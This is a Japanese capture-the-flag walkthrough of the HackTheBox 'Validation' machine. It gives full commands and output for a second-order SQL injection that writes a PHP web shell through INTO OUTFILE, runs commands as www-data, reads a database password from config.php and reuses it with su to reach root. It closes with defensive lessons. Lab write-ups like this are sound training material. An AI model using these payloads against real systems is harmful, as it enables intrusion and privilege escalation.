HackTheBox: Validation — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http, 4566, 8080
→
22/ssh, 80/http, 4566, 8080
“UHC” 登録フォーム
username/country
→
username/country
Second-Order SQLi
countryが/account.php表示時に発火
→
countryが/account.php表示時に発火
UNION SELECT INTO OUTFILE
PHP Webシェル書込
→
PHP Webシェル書込
www-data RCE → user.txt ✓
→
config.php窃取
DBパスワード
→
DBパスワード
パスワード再利用
su root
→
su root
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.95.235 nmap -sV -sC -p 22,80,4566,8080 10.129.95.235
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.48 (Debian) 4566/tcp open http nginx |_http-title: 403 Forbidden 8080/tcp open http nginx |_http-title: 502 Bad Gateway Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ℹ️
ヒント: SSHのバナーはUbuntuだが、
Webサーバー(ポート80)のバナーはDebian——OSディストリビューション
表記が食い違っている。これはWebアプリがDockerコンテナ内(Debianベース)で
動作し、ホストOS(Ubuntu)とは別環境であることを示唆する典型的な手がかり。
ポート4566/8080は未認証アクセス不可(403/502)のため、本番の攻撃対象は
ポート80のPHPアプリに絞られる。
トップページの確認 — UHC登録フォーム
BASH
curl -s http://10.129.95.235/ | grep -i "title\|form\|input"
RESULT (抜粋)
<h2>Join the UHC - September Qualifiers</h2>
<form method="POST">
<input type="text" name="username" placeholder="Username">
<select id="country" name="country">
<option value="Brazil">Brazil</option>
<option value="Afganistan">Afghanistan</option>
... (国名ドロップダウンリスト、100件以上) ...
</select>
</form>
ℹ️
「UHC(Ultra Hardcore、Minecraft系大会)参加登録」という体のPHPアプリ。
usernameとcountry(ドロップダウン選択)をPOSTすると
アカウントが作成され、/account.phpへリダイレクトされる想定。
PHASE 2
Second-Order SQL Injection の発見
countryパラメータの特異な挙動
NOTE
countryはHTML上はドロップダウン(select)で固定値のみ選択可能に見えるが、 POSTパラメータとしては任意の文字列を送信できる(クライアント側制限は サーバー側検証を保証しない)。さらに重要なのは、このアプリの脆弱性は 「登録時」ではなく「account.phpで一覧表示する時」に初めて country 値が SQLクエリへ組み込まれて実行される、という**Second-Order(二次)SQLi** である点。登録リクエスト自体は単なるパラメータ化されたINSERTで安全に 見えるため、一見SQLi耐性があるように誤認しやすい。
BASH (正規の登録リクエストでcookieの仕組みを確認)
curl -s -i -c cookies.txt -X POST http://10.129.95.235/ \ --data-urlencode "username=testuser" \ --data-urlencode "country=Brazil"
RESULT
Set-Cookie: user=<MD5(username)の16進数32文字>; path=/
Location: /account.php
🚨
重要発見: 発行されるCookie
userの値は
MD5(username)そのもの(例: md5("testuser"))。
つまりCookieを自分で計算して偽造・再利用できる。
/account.phpはこのCookie値に対応するユーザーの
countryをDBから取り出しSELECT文へ文字列結合で
埋め込んで表示する——ここがSQLi発火ポイント。
PHASE 3
UNION SELECT INTO OUTFILE による Webシェル設置 & user.txt取得
悪意あるcountry値で登録
NOTE
MySQLの INTO OUTFILE 句を使い、UNION SELECTで返す文字列 (PHP Webシェルのソースコード)をそのままファイルとしてWebルート直下へ 書き出させる。UNIONの列数は1列で一致させる必要がある (/account.phpのSELECT文が1列のみ取得している前提)。
BASH (本検証で実際に使用したペイロード)
curl -s -i -c cookies.txt -X POST http://10.129.95.235/ \ --data-urlencode "username=kc670abb" \ --data-urlencode "country=Brazil' UNION SELECT \"<?php system(\$_REQUEST['cmd']); ?>\" INTO OUTFILE '/var/www/html/kc670abb.php'-- -"
ℹ️
Webシェルのファイル名は
kc<ランダム6桁hex>.phpのようにランダム化する。
MySQLのINTO OUTFILEは出力先ファイルが既に存在すると
エラーになり再実行できないため、毎回ユニークな名前を使うことで
この制約を回避する。
account.phpを開いてSQLiを発火させる
BASH (登録時に発行されたCookieでaccount.phpへアクセス)
curl -s -b cookies.txt -b "user=$(echo -n 'kc670abb' | md5sum | cut -d' ' -f1)" \ http://10.129.95.235/account.php
✅
この瞬間に
account.php内部のSELECT文へcountry値が
組み込まれて実行され、INTO OUTFILEが発火する。登録リクエスト
自体では何も書き込まれず、account.phpへのアクセス時点で初めて
SQLインジェクションが成立するのがSecond-Order SQLiの特徴。
Webシェル経由でRCE確認 & user.txt取得
BASH
curl -s --data-urlencode "cmd=id" http://10.129.95.235/kc670abb.php
RESULT (本検証の実際の出力)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
BASH
curl -s --data-urlencode "cmd=cat /home/htb/user.txt" \ http://10.129.95.235/kc670abb.php
RESULT
de9c1c8095f8d534d24c558c28402a35
user.txt — /home/htb/user.txt (www-data権限で読取)
de9c1c8095f8d534d24c558c28402a35
PHASE 4
DBパスワード再利用 — root.txt取得
config.phpの読取
BASH
curl -s --data-urlencode "cmd=cat /var/www/html/config.php" \ http://10.129.95.235/kc670abb.php
RESULT (本検証の実際の出力)
<?php
$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-9qual-global-pw";
$dbname = "registration";
$conn = new mysqli($servername, $username, $password, $dbname);
?>
✅
MySQLユーザー
uhcのパスワードuhc-9qual-global-pwを取得。
rootでのパスワード再利用を試行
NOTE
www-dataシェルは対話型TTYを持たないため、通常の su コマンドはパスワード プロンプトを標準入力経由で受け取れない。パスワードをパイプ経由で su に渡すことで非対話的にパスワード認証を通す。
BASH
curl -s --data-urlencode \ 'cmd=echo "uhc-9qual-global-pw" | su -c "cat /root/root.txt" root 2>&1' \ http://10.129.95.235/kc670abb.php
RESULT (本検証の実際の出力)
Password: a9c45869f79e01f5501dc8398da58460
✅
root化成功! データベース用パスワードが
OSアカウント
rootのパスワードとしてそのまま再利用されていた。
suのパスワードプロンプト文字列(Password:)に続けて
コマンド出力(root.txtの内容)がそのまま返ってきている。
root.txt — DBパスワードのsu root再利用
a9c45869f79e01f5501dc8398da58460
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — /home/htb/user.txt (www-data権限で読取)
de9c1c8095f8d534d24c558c28402a35
root.txt — DBパスワードのsu root再利用
a9c45869f79e01f5501dc8398da58460
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Second-Order SQL Injection | 登録フォーム country パラメータ → /account.php | 任意SQL実行、ファイル書込(INTO OUTFILE) | Critical | 登録時ではなく表示時にSQLが組み立てられる二段階構造を利用しUNION SELECTでPHP Webシェルを書き出す |
| MD5(username) = 予測可能なCookie | セッション識別用 user Cookie | 任意アカウントへのなりすまし | High | ユーザー名からMD5を自前計算することでCookieを偽造・再利用 |
| 設定ファイルの平文パスワード + 再利用 | config.php の DB パスワード ↔ OSアカウント root | 権限昇格 (root) | High | Webシェルでconfig.phpを読み、同一パスワードでsu rootが成立 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, UHC登録フォーム発見 | 22/ssh, 80/http (OS表記の食い違いからDockerコンテナを推測) |
| 2 | 脆弱性解析 | Cookie=MD5(username)の発見、Second-Order構造の把握 | country値が表示時にSQL実行されると判明 |
| 3 | RCE | UNION SELECT INTO OUTFILE → Webシェル → id/user.txt | user.txt (www-data経由htb) |
| 4 | 権限昇格 | config.php窃取 → パスワード再利用 su root | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー保存値(country)が表示時に文字列結合でSQLへ組み込まれている(Second-Order SQLi) | INSERT/SELECT双方でプリペアドステートメント(パラメータ化クエリ)を徹底する。「登録時に安全だから表示時も安全」とは限らない点を常に意識する。 |
| セッション識別子が予測可能なハッシュ(MD5(username))で構成されている | セッションIDは暗号学的に安全な乱数で生成し、推測・再現が不可能な値にする。 |
| データベース接続パスワードがOSアカウント(root)のパスワードと同一 | 用途ごとに完全に独立したパスワードを発行し、パスワードの使い回しを組織的に禁止する。 |
MySQLユーザーにFILE権限が付与され、Webルートへの書込(INTO OUTFILE)が可能 |
アプリケーション用DBユーザーには必要最小限の権限のみ付与し、FILE権限やWebルートへの書込権限は原則与えない。 |

